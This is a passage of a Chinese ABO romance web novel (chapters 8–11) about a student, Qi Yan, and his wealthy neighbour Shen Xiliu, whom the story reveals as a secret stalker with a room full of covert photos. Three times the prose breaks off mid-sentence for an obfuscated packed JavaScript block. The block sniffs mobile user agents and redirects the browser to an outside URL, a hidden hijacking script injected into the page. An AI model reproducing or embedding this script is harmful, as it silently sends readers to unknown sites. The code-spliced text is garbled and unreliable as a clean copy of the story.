“这是我的荣幸,没想到沈先生和沈所长居然都看过这篇论文,说实话现在再回忆起来,多少觉得缺点太多,让两位见笑了。” 更惊喜了,连老师都记不得他写过的那些乱七八糟东西,沈溪流却硬是凭着他出色的记忆力全部给记下来了。 不得不说,这次应酬非常愉快,要走人的时候,都不用覃宜民给他使眼色,祁厌就主动地想送沈溪流回家,顺便再和他多聊一会儿。 “沈先生,正好我们是邻居,我送你回去吧。”祁厌比刚才更注意沈溪流的脚伤,“虽说有轮椅,但公寓那边也有楼梯,不太方便。” “那就麻烦你了。”沈溪流带着歉意道。 “不麻烦,反正顺路,而且我们还是邻居。” 邻居好,邻居妙,住得近,有事随时都能找邻居聊天。 最喜欢和这种说话好听,情绪价值给满分的人在一起了。 至于来前的想法和昨晚的心理活动? 祁厌直接当自己没想过。 谁说这个邻居不好接近的,这邻居也太棒了。 8. 第 8 章 “沈先生,你是自己一个人开车回来的吗?”把轮椅推出去,祁厌还以为沈溪流自带司机,结果好像没有。 沈溪流眼睫毛轻轻颤动,面上笑容浅浅:“嗯,今天周末,所以自己开车过来的。” “小厌,既然沈先生是自己开车来的,你就帮他开回去吧。” 覃宜民推着自己的二八大杠,放低声音提醒:“注意点,人家是omega,和你们这些皮糙肉厚的alpha不一样,别像刚才那样做木头人,仔细照顾。” 他嘱咐完祁厌,就笑眯眯地扭头和沈溪流挥手告别,一个扫堂腿上了二八大杠,一溜达地骑回学校。 这让祁厌想起上次在学校看见覃宜民骑自行车带孙子,结果一脚把小孩踢翻,被师母追着打。 “沈先生,你骑过自行车吗?”沈溪流没带司机也没带助理,祁厌扶着他上副驾驶。 沈溪流摇头说:“没有骑过,怎么突然问这个问题?” “哦,就是想起老师做过的糗事。”祁厌用幽默的语气把覃宜民做过的事情说出来,成功把沈溪流给逗笑。 等祁厌把轮椅放到后车厢,坐到驾驶位,沈溪流问道:“那你有过这种事情吗?骑自行车带人,反把对方给踢翻。” “当然没有,我还是很注意坐在自行车后面的人,不至于让他摔倒。”祁厌启动车子。 沈溪流眼帘垂下,镜片反光,声音柔和:“祁厌,你骑自行车带过很多人吗?” 祁厌的学生时期没有谈过恋爱,但不代表他没有喜欢过别人,说不定暗恋过谁呢? 祁厌没有多想,专心开着车:“也不多,就两个,以前小时候经常骑着自行车带表弟表妹出去玩。” “原来如此。”沈溪流盯着他的侧脸,“听起来是很愉快的童年。” “嗯,确实很愉快,就是等他们青春期以后,有点让人头疼。”表妹还好,不会乱来,表弟就天天想着翻墙出去打游戏。直到某个晚上回来被梦游的他揍了以后,再也不敢大晚上到处出去玩,安安静静地学习,今年顺利考上大学。 “那他变成你的学弟了吗?”沈溪流问道。 祁厌道:“没有,我舅舅希望他考警校,他觉得也行,所以就去了。” “这也挺好的,说起来,最近我舅舅也挺苦恼我表弟的未来,他嘴里说着什么追求梦想的话,于是带着贝斯离家出走……” 欸,这剧情听起来好像有点过分熟悉? 祁厌立即想到昨晚酒吧里发生的事情:“沈先生,你说的表弟不会是我们酒吧驻场乐队的贝斯手吧?” “嗯,是他。昨晚舅舅让我去把他带回去,不过我中途有事先走了,只好留下保镖等他表演结束,再带他回家。”沈溪流失笑一声,带着歉意道,“昨晚没打扰到大家吧?” “没事,当时酒吧都快关门了。”祁厌觉得对方真客气,和某个吵吵闹闹的中二贝斯手完全不一样,“就是引起的话题讨论度挺高的,大家都觉得很有趣。” 如果让在场的人知道贝斯手是沈家人的话,估计讨论度会更上一层。 世界真奇妙,昨天还在想怎么合理接近沈家人,避开易家人,今天就自动送上门一个沈家人,顺便知道酒吧还藏着一个追求梦想的沈家中二病。 公寓楼下阶梯不少,送沈溪流上去的时候,祁厌推着轮椅绕了半圈,才带着轮椅上去。 虽然与沈溪流聊得挺开心,但是祁厌下午还有实验,也没多待,避免显得太殷勤,不太好。把沈溪流送回公寓后,就赶去学校。 不过思维发散时,却想到沈溪流扭伤红肿的脚踝,医生特意给他一瓶药酒,让沈溪流找人帮忙揉一下,这样好得比较快,也不知道他自己能不能揉好。 还有刚才送人的时候,客厅里的一大堆东西也没有整理好,沈溪流才刚搬过来,就遇到这么多意外。祁厌随口问了一句,沈溪流也不打算找人帮忙整理,准备抽出时间自己收拾,并且多说一句,让祁厌放心,这次不会再吵到他。 “……” 很好,沈溪流一句话,就成功让祁厌产生一丝惭愧,甚至还在想要不要晚上回去帮对方一把? 毕竟沈溪流都扭伤了,再让他一个人忍着脚疼收拾东西是不是不太好?毕竟是个omega,还是沈家的人,他未来的合作对象…… “今天回早一点吧。”祁厌想了想,邻居帮把手很正常,更何况他之后肯定需要项目支持,说不定到时候还得讨好人家。现在既然有机会雪中送炭,干嘛不好好帮忙呢? 老师说得好,对待愿意投资项目的金主必须操着一颗真爱心,尊敬爱护对方,才能使金主爸爸大方投资。 想法已定,压下心底那一抹不易察觉的抗拒,祁厌不再纠结,抓紧时间搞实验。结束以后就去酒吧找徐哥,告诉他某个贝斯手的身份,直接把人惊得漱口水都喷到镜子上,呛了好几口下去。 “啥?那中二病的精神小伙真是沈家人啊?好家伙,完全看不出来!”徐哥觉得不可思议,瞪着眼睛,拿毛巾擦嘴,“他真是沈家人吗?你会不会弄错了?” 贝斯手的作风实在是不像那个沈家的人,他之前听主唱说过,那小子之前都穷得流落街头,到处卖艺了,与传闻中的沈家画风截然不同。 祁厌倚着门外的墙壁,身形修长挺拔,双手插在兜里,带着几分随意,嘴角带笑:“年轻人都这样,徐哥你见识多广,有什么不敢相信的。” 徐哥直接往脸上泼水,试图清醒一点:“就是见多了才觉得不可思议,是本家还是分家人?” “本家人。”祁厌吐出三个字,他下午就去找覃宜民问清楚沈溪流的身份,知道了不少事情。 沈溪流,沈家现任家主的外甥,沈氏集团的负责人之一,专门管理药企方面的事务。而作为沈溪流表弟的某位贝斯手,不是沈家家主的儿子,就是兄弟的儿子,地位同样不低。 徐哥擦干净脸,走了出来,语气很随意地说:“那确实不普通,不过就算这样,我还要再提醒你一下,你那个弟弟和他对象已经有结婚的打算了。” 沈家人护短且重情,不好得罪,要是真结婚了,那小子就算是半个沈家人,无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318630|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生什么事情,对方也会帮助自家人,而不是祁厌。 到时候祁厌别说调查当年真相,就连想在研究所待着都是一件困难的事情,百分百会被易家那个阴险小子针对。如果沈家偏帮,那祁厌连留在S市的机会都没有了。 所以徐哥在提醒他,别以为遇见两个沈家人,认识对方就能让他们帮你一把,这太天真愚蠢了。 “……我暂时只要能得到项目支持,有机会进入研究所就够了。”祁厌知道徐哥的意思,他耸了耸肩膀,并没有这种天真想法,只想尽快搞好自己的研究。 “你脑子清楚就好,就怕你冲动。”徐哥见他表情冷静,也放下心来,不再聊这个话题。 知道祁厌晚上有事,今晚无法帮忙,一阵唏嘘,“那些漂亮小O可都盯着你呢,结果你今晚又不来,有点过分啊……” “你可以看着时间,反正我们营业时间比较晚,你能来就来,不行的话,我到时候让浪浪上去表演节目……” 他们刚走到大厅,迎面走来的困倦徐浪浪一听到这话,就停止打哈欠:“哈啊?为什么是我去表演节目啊?” “因为你是门面担当,当工资白领吗?臭丫头,你昨晚去哪里鬼混了?两点一到,就跑得看不见人影!” 徐哥一把拎住她的后衣领,夹在胳膊肘间,不客气地在脑袋上狠狠敲了两下。 “嘶,死老头别这么用力,我头不是钢板做的!再说下班时间到了,我怎么不能走人?那么多热情漂亮的omega邀请我出去玩,难道我还要给你仔细说说怎么玩吗?” 徐浪浪翻着白眼,毫无在omega面前帅气张扬的迷人模样。 A有A德,怎么都不能把自己昨晚和O朋友的赤壁之战告诉别人啊。 “徐哥、浪浪,既然没事了,那我先走……” 祁厌看他们打闹起来,就准备趁机离开,孰料徐浪浪一把拽住他的衣角。 “哎,祁厌,你等一下,我有事情要拜托你,先别走!” ——“不行,抱歉,我还有事,先走一步。” 她话一出,祁厌立即抽回衣服,走得更快了,连头都不回,看得徐浪浪目瞪口呆。 “有没有搞错啊,我什么话都还没有说出来……” 徐哥用胳膊肘夹着她的脖子,冷笑:“呵,连祁厌都这样,你对自己的所作所为还没点逼数吗?” 反正是个人都知道,徐浪浪的嘴从来不说什么正经事。这不,连公认脾气最好的祁厌都在她刚提出需要帮助时,就一口拒绝掉。 徐浪浪有些不可思议,喋喋不休地说着:“这有什么,我不就是想让他和我一起跳个晚安大小姐吗?这又不是什么坏事,好多漂亮omega想看我们跳,身为Alpha有什么好逃避?我也没逼着他跟我一起做A公关,出卖色相,已经够讲情义了,而且你帮谁呢?我这可都是为了给你揽客……” “行了,别把我的酒吧说得像是A公关部,你们又不是牛郎。” “有我在,不也差不多了吗?” “你可真有自知之明。” 9. 第 9 章 六点左右,祁厌回到公寓附近。 他上楼前看了一眼沈溪流家的窗户,家里亮着灯,窗帘半拉,好像隐隐约约有一道身影出现,对方应该是在家的。 “叮——” 电梯声响起,祁厌走出电梯门,本想先回自己家,结果一抬头就看到沈溪流的家门半掩着,索性走过去敲门:“沈先生,你在家吗?” “祁厌吗?在的。”屋内慢半拍地响起一道声音,带着轻微的抽气,“你直接进来吧,不好意思,我现在不太方便过去。” “那打扰了。”祁厌推开半掩着的房门,沈溪流家里的很多东西5都还没有拆开,用纸箱子堆叠在一面墙边,客厅非常空旷。 只扫一眼,祁厌就知道沈溪流今天下午应该是整理过一小部分,脚是扭伤不是断掉,不至于动不了。 现在沈溪流人正坐在沙发的角落里,挽起裤腿,小腿匀称漂亮,奈何脚踝处破坏了这份美感。他在给肿胀青紫的脚腕喷药,试图揉散淤血,但沈溪流好像不敢用力,只敢轻轻揉着,稍微用力一下,都疼得直抽气。 见到祁厌进来,他才放下手上的药,不好意思笑道:“抱歉,让你见笑了。” “沈先生以前没有扭伤过吧。”一见他这个样子,祁厌就知道沈溪流没有扭伤的经验,“不用力揉进去的话,是没有用的,需要我帮忙吗?” 这话一出,祁厌不着痕迹地皱下眉,他怎么嘴巴比大脑更快了? 一个alpha和omega单独在屋里上药,怎么想都不对劲,估计沈溪流应该不会答应,那他就趁机转移话题…… “可以吗?” 然而祁厌没想到,他的话刚说出口,沈溪流镜片下的眼眸好像有些亮,几乎不假思索。 这话接得太快,让祁厌一怔。 沈溪流注意到了,他的指尖微微收紧,很克制地无奈道:“我确实不太敢用力,有点怕疼,听医生说得用力揉才行,如果可以的话,就麻烦你了。” 祁厌一听,笑了起来:“小事而已,用力揉起来确实很疼,不过淤血揉散以后,走路就不会这么疼,顶多一个星期就能好,算是长痛不如短痛吧。” 他走过去,拿起药,坐在沙发的另一侧,让沈溪流把腿伸过来,这话让沈溪流的眼神有些微妙的变化,但脸上的笑容依然很客气:“确实长痛不如短痛,劳烦了,这几天一直给你找麻烦。” “没什么,邻居间的互帮互助而已。” 祁厌握住沈溪流的小腿,往他脚踝处喷药,掌心宽厚温暖,半垂着头。一缕黑发落在温润的眉眼间,灯光在脸上留下阴影,五官神秘迷人,那双桃花眼越发显得深情款款,看什么都格外温柔。 沈溪流有些被祁厌的脸蛊惑到走神,忍不住想他有多久没有这样静静地看着祁厌的脸了? 太久了,久到不敢去想。 “祁厌……啊!” 沈溪流无意识地开口叫他,结果刚吐出祁厌的名字,覆盖在脚踝处的温暖手掌就用力开揉,酸胀尖锐的刺痛猛然从脚踝处传来,导致毫无准备的沈溪流发出一声短促的惊叫。 “很疼吗?”祁厌抬眸看他,沈溪流脸色都白了。 “没,没事,是我刚才没做好心理准备。”沈溪流吸了口气,尽量云淡风轻地说着,“麻烦你继续用力,我不会再打扰你。” 在祁厌面前的风度,不能失去。 “也不是很疼。” 他补充了一句。 “……” 不疼才怪。 祁厌又不是没扭伤过,个中滋味只有自己最清楚。 不过看沈溪流强撑着也挺有意思,他的性格减淡这张脸带来的冷漠傲慢冲击感,目前来看是个挺有意思的人,和传闻中的沈家人有点不相似。 出乎意料的好相处,甚至让祁厌觉得自己先前对沈溪流的看法有点过于偏激了。 毕竟另一个沈家人,某个贝斯手就是性格很好的人,顶多是有点古怪中二病。 “嗯,行,那我继续。”祁厌想了想,一边用力揉散淤血,一边和沈溪流温声说话,分散他的注意力。 “沈先生倒也不用强忍,该叫就叫,这是很正常的事情,我表弟以前扭伤脚时,是我舅舅帮忙揉,他的惨叫声直接喊得房顶都要被掀开了。” ……惨叫就算了,除去那段不愿意回想的过去,沈溪流就没干过这么没品的事情。 “那还挺有趣的,你小时候有扭伤过吗?”沈溪流面色苍白,嘴角还带着浅浅的笑意,静静地盯着他,硬是没再叫一声出来。 不过镜片下的眼尾有些泛红,修长的手掌紧紧攥着,暗自用力,一切不言而喻。 “……” 沈溪流是个能忍、且要面子的人! 祁厌虽然控制着力度,但用药酒揉散淤血,力度也轻不到哪里,否则就没有效果。 他想了想,回答沈溪流的问题,帮他转移注意力:“有啊,小时候比较爱玩,不小心从楼梯踩空滚下去,回去也是我舅舅帮忙用药酒揉,当时叫得不比我表弟小声。” 现在回想起来,还是挺酸爽的,疼得一边叫一边笑,是非常抽象的事情。所以说,沈溪流真的挺厉害,除了第一下猝不及防叫出声,后续的嘴很硬,甚至还能和他说话。 沈溪流继续维持得体的微笑:“真好,感觉很有趣。” 祁厌盯着他脸上的微笑,觉得有些强颜欢笑,不过还是不戳穿比较好。 见沈溪流好像对他童年的事情有点兴趣,祁厌一边熟练地帮忙揉散淤血,一边和他闲聊着。表弟本性是个跳脱的皮皮虾,跌打损伤都是家常便饭,所以导致祁厌经常给他上药;表妹虽然表面乖巧,实则喜欢出歪主意,给小时候的他们造成不少麻烦。 “可能就是因为小时候照顾他们习惯了,当时还想着未来做一名医生呢。”他面带温柔笑容地说着。 医生很好,小时候总觉得如果自己是医生,或许就能治好妈妈的病, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318631|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮助舅舅,可惜随着年龄增长,才发现一切没有那么容易,自己实在是太过于天真,毕竟医生也不是万能的。 沈溪流听得出来,祁厌很重视自己的亲人,谈起表弟表妹的表情也格外温柔。等祁厌去洗手,他的脚踝已经没有最初那么疼,沈溪流把抽纸递给手上沾水的祁厌。 “那你怎么没有继续学医呢?实话实说,要不是提前知道你学的是信息素制药工程,我还以为你是一名医学生。” 无论是现在,还是前晚呼吸性碱中毒时,祁厌都表现得很会安抚照顾人,很像一名专业的医生。 明明沈溪流以为这一次,祁厌能够走上他想要走的道路,结果还是没有…… “是吗?”祁厌想了想,说,“我小时候确实有过做医生的梦想,不过吧……最后发现自己对信息素制药工程更感兴趣,所以还是选择了这条路。” 他停顿了一瞬,如果没有意外的话,他最开始的梦想的确是成为一名医生。 可是即使成为医生,好像也救不了他想救的人。从高中的时候,祁厌就很清楚地知道,他应该走研究药物的道路。 “能够自己选择未来,是一件好事呢。”沈溪流听完他的话,垂着眼帘浅笑道。 医生也好,信息素制药工程专业也好,总归都是祁厌理智选择后的结果,只要是不被人胁迫着选择走投无路的未来,那就一切都好。 “嘀嘀——” 祁厌走后,手机一直在响个不停,沈溪流坐在沙发上走神很久,他哪能让祁厌帮他搬东西,只是想找个借口多待一会儿,多聊一会儿罢了。 外面夜色渐深,霓虹灯光流转,他听见外面传来一丝动静,缓慢起身,走到窗边。一直看着祁厌的身影出现在公寓楼下,又消失在视线里。 本来是不该接近的,但终究是没能忍住,迈出了第一步。 沈溪流继续去收拾东西,脚伤对他并没有多大的影响,他用始终放在身上的钥匙打开最深处的一扇房门。 身后的灯光穿过空隙映射入黑暗阴冷的房间,无数照片撞入眼睛里,一眼便让人忍不住骇然。 无论是墙壁、天花板、角落里都密密麻麻地粘着一个人的照片。年龄由小到大,可以看出照片里的人在一点点成长,逐渐变成非常优秀出色的青年。而照片的视角,有偷拍也有许多正面,还有一些从多人照片里剪下来的单人照片,但这一切无疑都是在亵渎他人的隐私。 可房间的主人不在意,放眼望去,黑暗的房间无数照片层叠交错,流露出扭曲到极致的病态偷窥欲。只要踏入这房间一步,便定然让人毛骨悚然,清晰地感觉到这个房间承载着一个疯狂而扭曲的灵魂,恐怖压抑。 沈溪流心情很好地抱着箱子进入房间,他的影子被光线投射在地面,拉长、扭曲、狰狞,好似他黑暗诡谲的灵魂一般,散发着阴冷之意。 直到门轻轻合上,咔嚓一声,光明再也无法入侵这间阴暗压抑房间,他便彻底与世隔绝。 10. 第 10 章 梦境变得有些奇怪了,即使在梦里,祁厌也清醒地意识到这个问题。 那名omega靠在沙发上,上身的西装穿得很整洁,只有领带松垮,白色衬衫上方解开两颗扣子,露出修长的脖颈和信息素隔离颈环,喉结微微滚动着,有汗水从脸颊滚落下来,手背遮挡住半张脸,呼吸凌乱而急促。 不太对劲。 祁厌半跪在沙发上,手掌撑在他腰侧的沙发,微微下陷,因为需要注意到二人之间的距离,所以不方便施力,只是沉默而缓慢地做着。 氛围死寂沉默到可怕,丝毫没有一丝情愫暧昧。 他提前吃过A专用的信息素抑制药物,对方也戴着特制的信息素抑制颈环,与寻常隔离颈环不一样,很好地控制着omega的信息素溢出,加上客厅里常年使用着信息素清除剂,防止他们因为被alpha/omega的信息素和本能控制而失去理性。 心情有些糟糕透顶,明明是在发泄,却总觉得后颈的alpha腺体疼得发慌,连头都有些眩晕,好在客厅里使用的信息素清除剂有清醒作用,让祁厌坚持完成自己的任务。 任务结束,他便主动把垃圾收拾好,拿起桌面上的仪器,看了一眼,声音淡淡:“正常了。” “拿过来。”原本靠在沙发上的omega缓缓撑起身体,整理好自己的衣物,声音比祁厌更冷淡傲慢,言语间充满对他的不信任。 “那你自己慢慢看吧,我先走了。” 祁厌无所谓地把仪器丢给他,离开客厅,朝着自己的房间走去。 没注意到omega冷冷凝视他背影的视线。 …… 没有被吓醒,祁厌很平静地从梦中醒来。 最近的睡眠状态出乎意料的好,就算做梦,也不会被吓醒。 以前每一次做梦惊醒之后,都会忘记得差不多,只隐隐约约记得少部分难以忘怀的模糊过程,可是这一次倒是记住了不少。 比如梦里omega戴的不是信息素隔离颈环,而是信息素抑制颈环,可以控制并监察omega体内的信息素变化,一般只有生病的omega才会戴着。 俯在omega身上的时候,尽管祁厌不想将视线定在对方身上,多少还是会无意识地紧盯着,于是便将目光落在omega的颈环,款式有些特殊,应该是特制的,如果他想弄清楚这些梦,说不定可以从这下手…… “啪!” 祁厌拍了一下自己的额头,慢慢坐起身,被子从身上滑落到腰腹处,他捂着脸,重重叹气:“我在想什么呢!” 这是梦。 所以为什么要去研究一个现实不存在的虚假omega的颈环? 难道他内心真认为梦里的omega是真实存在的,并且想查出信息素抑制颈环的制作厂家,对着名单把那人找出来,然后怒气冲冲地质问他干嘛夜夜入梦,对自己做这做那,还害得自己失眠这么多年吗? 哇塞,这种异想天开的行为多少有点神经病。 别说能不能做到,祁厌都能幻想到自己对着一个陌生omega说出这种话后,对方一脸惊恐地拨打报警电话,把他这个变态给抓走。 “看来想象力太丰富,也不是一件好事。”祁厌幻想了一些不可能发生的剧情,把自己逗笑了。 将昨晚整理好的资料发给覃宜民,祁厌吃着自己做的早餐,点开朋友发来的信息——【婚期订在国庆节,接下来你想怎么做?】 嘴里的豆浆突然不甜了。 真是糟糕的信息。 祁厌拨打电话过去:“我之前让你查的另外一件事怎么样了?” “嚼嚼……不太顺利。” 对面传来汽车鸣笛和路人的嘈杂声音,对方好像也在吃早餐,发出细微的咀嚼声,他吞咽下食物。 “目前在信息素紊乱症方面有所突破的只有NIH研究所,但NIH的名额太难申请,你是知道的。再加上沈云殊最近就在NIH,如果到时候发生什么不愉快的事情,可能就更没有希望了。” 说完,见电话另一端的祁厌没有说话,他继续吃着东西,咬字依然清晰。 “说来说去,还是要回到第一个问题上。易家就是个定时炸弹,早晚会爆发,他们找你和你妈很多年了,也就是灯下黑,一直没注意到你就在他们眼皮底下上大学。” “不过易家现在傍上‘大款’就不一样了,等易扬那小子和沈家的小姐结婚后,估计就能有路子找到你们,到时候麻烦就大了。” “确实麻烦大了。”祁厌一口喝完豆浆,抽出纸巾擦了擦嘴,“所以最好别让他们结婚不是吗?” “那就难了,你这个弟弟现在可是贯彻着二十四孝男朋友准则,坚决不出错。而对方喜欢他,已经喜欢到走火入魔的程度,就连父母都阻止不了,婚期已经定在国庆节,我正想问你怎么做呢。” 他语气诙谐地说着:“哎,祁厌,说起来,你可比易扬长得好看多了,要不我给他们制造点误会,弄个契机出来,你趁机出卖美色,去勾搭一下沈家小姐怎么样?” 反正那位小姐一开始也是看上易扬那张脸。 “别开这种玩笑,并不有趣。”祁厌拒绝,眉头微皱。 “OK,OK,别生气嘛,只是随便说一句而已。”祁厌语气里的厌恶,让他想起一些事情,立马道歉,略过这个话题。 “时间不多了,祁厌,实在是不行的话,你别再插手这件事了,我来想办法解决,总归是不能让他们真结婚了。” 祁厌听出他话里暗藏的意思,开口道:“等一下,你不会是想……” 对方打断:“好了,就说到这吧,我先挂了。你最近好好搞你的研究,这可是事关阿姨的身体状况,别的事情少掺和。” 他说完也不等祁厌回复,便直接挂断电话。 等祁厌再打回去,居然已经被对方给拉黑了。 “这下子估计麻烦大了。”祁厌起身收拾桌面,对方如果决心真要做点什么事情,短期内大概不会再和他联系,得想个办法阻止。 洗好杯子和盘子,祁厌打开电脑处理资料,右下角弹出提示,他打开覃宜民的对话框,对面已经接收资料,并且给他发了一堆信息。 好几个“死亡微笑” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318632|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黄豆表情正对着祁厌笑。 沈溪流这人实在是不能错过的金主,说投资就投资,周末一过,就立即有秘书联系覃宜民和祁厌商讨项目投资的相关事务。 这样快速且不含糊的速度简直让覃宜民倒吸一口气,好久没看到这么大方的投资者了。一时间甚至怀疑沈溪流是不是看上他貌美如花的门下弟子了,并乐呵呵地提醒祁厌,一定要好好和沈溪流相处。 绝对不能过河拆桥,要善待爽快的金主爸爸。 祁厌:“……” 他真诚地让老师放心,自己对沈溪流绝对会比对他爹还要孝顺。 覃宜民认为这次这么顺利,和祁厌的脸脱不开关系,以后再有这些应酬,必须带着祁厌上场。祁厌则认为是老师想太多,沈溪流估计是看在他帮了他这么多次忙的份上,所以才大手一挥,直接给他项目支持。 到目前为止,沈先生真的是一个很不错的人呢。 祁厌心想。 他们相处的很愉快,但要是和易家产生冲突后,不知道会变成什么样子。 作为一个体面人,对方就算护短,应该也不会做得太过吧? 毕竟难得相识一场。 人向来喜欢想太多,祁厌也不例外,他收拾好东西出门。 刚走进电梯,对门的沈溪流就恰好走出大门,看样子是要去上班,祁厌下意识地按开正在关闭的电梯门,等沈溪流过来。 沈溪流走进电梯,脚伤已经好许多,行动自如,根本看不出扭伤的痕迹,对他笑道:“谢谢你等我,祁厌,你今天好像比平时晚了一些。” 现在刚八点钟,平时祁厌都是七点多左右出门。 祁厌注意到沈溪流今日穿了一件自带褶皱的轻薄感衬衫,领口比寻常衬衫款式更加敞开,显得脖子间的黑色颈环极其抓眼球,禁欲又清冷。 许是受到梦境的影响,祁厌没忍住多瞧了几眼沈溪流的颈环。 ……有点、眼熟,怎么和梦境里的越看越像! 祁厌略有些不自在地挪开视线,道:“嗯,今天醒得比较晚,沈先生平时都是这个点去上班吗?” 果然还是好像,不过应该是他的错觉吧。 毕竟不管是信息素隔离颈环还是抑制颈环都非常相似,他在梦里看见的,或许就是从现实身边的omega所戴的颈环给“抄袭”到梦里。 “对,这个时间上班刚刚好,倒是你好像起得有点早。难得已经研究生,不用像大学生那样赶早八,不多睡一会儿吗?”沈溪流笑容清浅地说着,“而且你晚上好像还有工作吧。” 每天凌晨两点多才回来,早上七点就出门,休息时间太短,对身体可不好。 “其实也还好,我最近都是睡觉睡到自然醒,状态不错。至于晚上的工作,等开学就可以暂时告一段落了。” 九月一开学,最后的狂欢日也就结束了,到时候他也不用这么勤快地过去帮忙。 “对了,沈先生。”祁厌想起一件事,笑问道,“我听老板说贝斯……游弋今晚又要回来表演了,这是你舅舅允许的还是……” 偷溜出来的? 11. 第 11 章 “我才不是偷溜出来的!” 祁厌刚走进酒吧里,就听见游弋正大声反驳:“区区家产罢了,我可不是四体不勤、五谷不分的富二代,有的是力气和手段,绝对不会轻易朝金钱低头!我已经让我爸见识我的追逐梦想的决心了,这一次没人能够阻止我!” 抬眼看去,乐团的人和酒吧的服务员都坐在一起,正笑嘻嘻地对游弋说:“哈哈,那如果你不够努力,追逐梦想失败,是不是就得回去继承亿万家产了?” “哇哦,那也不错哎,进退都有路可走。”徐浪浪鼓掌,“只要不想努力了,就得回家继承百亿家产了,游弋,你好可怜噢。” “可恶,你们能不能正常点,听一下人话啊!”游弋不爽地勒着主唱的脖子,伸脚去踹徐浪浪,“我这回可是认真的!” 徐浪浪往后避开游弋伸过来的脚,嘻嘻哈哈地摊着手:“我们也是认真的哦,你这小子太遭嫉妒了,亏大家之前以为你穷得连饭都吃不起,结果你居然是个该死的富二代,不努力就得回家继承家产,真是……可恶极了!” “就是,就是,现在还想谋杀捡到‘流浪小狗’的我,啊啊,游弋好过分啊!”主唱抹着并不存在的眼泪,悲伤地说着。 “可恶,谁是流浪小狗啊?你这戏精别装哭,明明就是故意想要把我拐进你的乐团,诱拐犯!” “谁被我捡回来,就说谁咯!” “哈哈哈,要不是老周把你捡回去,估计游弋你都不用保镖来绑架,就得为面包低头哎哟……卧槽,祁厌!” 徐浪浪笑着往后走了两步,一不小心踩到祁厌的脚,差点没站稳摔倒,被他反方向地往吧台推了一把,才没有倒在地上或者摔进祁厌怀里。 “不是,祁厌你顺手扶我不行吗?非得推我一把,难道你不仅恐O还恐A啊?” 徐浪浪索性顺势坐在吧台前的高脚椅,故意调侃突然出现的祁厌。 “嗯,我恐所有性别,ABO都恐。”面对她的调侃,祁厌眼睛都不眨一下地胡扯。 “切,你最好说得是真的。”徐浪浪翻着白眼点了根烟,姿势潇洒,“来一根吗?” 祁厌拒绝:“不了,抽烟有害健康,我不沾。” “……你这辈子最好别让我看到你抽烟,也别让我看到你谈恋爱,要不然非得阴阳你一顿。”徐浪浪撇嘴说道。 祁厌笑了一声:“这辈子肯定看不到了,上辈子或许能行。” 说起来,有时候梦碎片挺像前世留下的痕迹,在那奇怪虚假又莫名真实的梦境里,他抽烟抽得太凶,回到现实后,祁厌就会觉得割裂感极强,毕竟他是个不抽烟的人。 但又觉得,说不定未来可能会抽。毕竟有些梦太像预知梦,当现实与梦境重合之时,会让人产生一种即视感。 就如同眼前热闹的酒吧场景,在梦里也发生过,如同一场盛开的繁花盛宴,吸引着他走过去欣赏。 可一旦祁厌走了过去,那场梦境就会发生天翻地覆的逆转变化,所有人消失,昏暗摇曳的流转灯光,掀翻的长桌、被打烂的椅子、摔碎的酒瓶,蜿蜒流淌一地的酒液和玻璃碎片,落得一地狼藉。 只剩下一双阴冷如毒蛇般的视线紧紧绞缠在他身上,带来极强的威慑与侵略性,约束控制他,让人非常不悦。 “给,喝一杯。”徐浪浪从吧台抽出一瓶酒,给两人各倒了一杯。 祁厌盯着她打开的酒,价格昂贵,沉吟片刻,提醒道:“你会被徐哥揍一顿的。” 他话音刚落,徐哥暴躁的声音就从上面响了起来:“徐浪浪,你这混蛋怎么又偷偷喝我的酒了!啊啊!挨千刀的小兔崽子!还专门挑这么贵的一瓶酒!” “哎呀,难得游弋逃离‘苦海’,咱们就喝一瓶庆祝一下嘛!” “喂,别用我做借口啊!我现在可是身无分文,付不起钱!”游弋被赶出门时,兜里只有亲爹偷偷塞过来的一百块钱打车费。 主唱拖着游弋过去,惊喜万分道:“嗐,既然打开了,那就给我也来一杯呗,难得店长喜欢的酒被开了,千万别浪费!” “祁厌,你的喝过了没?没喝过给我吧!” 吵闹的人群挤了过来,身边一下子变得热闹,众人在徐哥骂骂咧咧的声音里抢酒喝。想喝的人太多,徐浪浪见酒不够,趁机又开了一瓶,惹得站在二楼的徐哥气急败坏地跑下来,扯着她的后领子,邦邦给了几拳,心疼地抱着喝光的酒瓶,直叹息不停,又想打她。 “略略略,不就是两瓶酒,这么心疼干什么,吝啬鬼!”徐浪浪却将身一扭,反从他手下逃走了,躲到祁厌身后,挑衅不停。 “喂,离我远点,别殃及池鱼。” 